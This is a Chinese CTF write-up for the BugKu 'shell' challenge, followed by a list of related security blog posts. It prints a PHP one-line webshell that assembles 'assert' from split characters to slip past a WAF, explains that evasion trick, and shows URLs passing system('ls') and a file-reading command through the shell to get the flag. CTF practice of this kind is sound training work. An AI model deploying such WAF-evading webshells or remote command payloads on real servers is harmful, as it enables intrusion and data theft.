BugKu——shell

一、题目

二、方法

  • 提示中给了php代码:
php 复制代码
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])

解析:
$poc = "a#s#s#e#r#t";

explode("#", $poc) 以 # 为分隔符,把字符串拆成数组:

php
$poc_1 = ["a", "s", "s", "e", "r", "t"];
然后拼接:

php
$poc_2 = "a"."s"."s"."e"."r"."t";  // 即 "assert"
最后执行:

php
assert($_GET['s']);
所以,这实际上是一个 assert 一句话木马,通过 GET 参数 s 传入代码并执行。
  • 过狗一句话什么意思?
    • "狗"通常指 安全狗(SafeDog) 之类的 WAF(Web 应用防火墙)。
    bash 复制代码
    直接写 assert($_GET['s']) 会被 WAF 拦截,因为 assert 是危险函数,$_GET 也是敏感特征。
    • 出题人用 explode + 字符串拼接的方式,把 assert 拆成 a#s#s#e#r#t,运行时才拼成 assert,从而绕过 WAF 的静态特征检测。这就是"过狗"的含义。
  • 既然 assert($_GET's') 会执行我们传入的代码,那么我们可以通过 ?s=... 来执行任意 PHP 代码。
  • 先用 PHP 函数读取文件,找到一个flag的txt文件。
html 复制代码
http://160.202.254.160:11145/?s=system('ls');
  • 查看该文件,得到flag。
html 复制代码
http://160.202.254.160:11145/?s=system('cat flaga15808abee46a1d5.txt');
相关推荐
liferecords19 小时前
OpenAI 把「Critical」级挖洞模型交付出去了:GPT-6 Cyber 正式发布,越界率压到 1% 以下
网络安全·openai·ai安全·模型发布
FungLeo1 天前
成为全栈·基础补充·Web 安全基础:XSS、CSRF 与 SQL 注入
web安全·网络安全·xss·csrf·sql注入·成为全栈
菩提小狗2 天前
每日安全情报报告 · 2026-11-05
网络安全·漏洞·cve·安全情报·每日安全
QZ166560951592 天前
政务泛监测体系能力排行:AI 重塑监测边界,治理的颗粒度革命
网络·人工智能·安全·网络安全·政务
0xBADCODE2 天前
2026 强网杯 Web 题 cwp · 全链路复盘
前端·安全·web安全·网络安全·系统安全·ctf
其实防守也摸鱼2 天前
个人学习 Pwn 思路:从基础到漏洞利用的进阶路径
大数据·前端·人工智能·chrome·算法·安全·网络安全
m0_715674433 天前
政务泛监测体系能力排行:AI 重塑监测边界,治理的颗粒度革命
大数据·网络·人工智能·安全·网络安全·政务
菩提小狗3 天前
每日安全情报报告 · 2026-11-04
网络安全·漏洞·cve·安全情报·每日安全
杨凯凡3 天前
IT日报|2026-11-04:Copilot 接入 JetBrains Air、CodeQL 2.27.3、Agent 依赖自动更新
网络安全·github copilot·codeql·ai coding·dependabot
航天智算4 天前
航天智算 HTZS-1700 全信创网络安全移动工作站深度评测
网络安全·国产算力·国产化改造·算力适配·测绘信创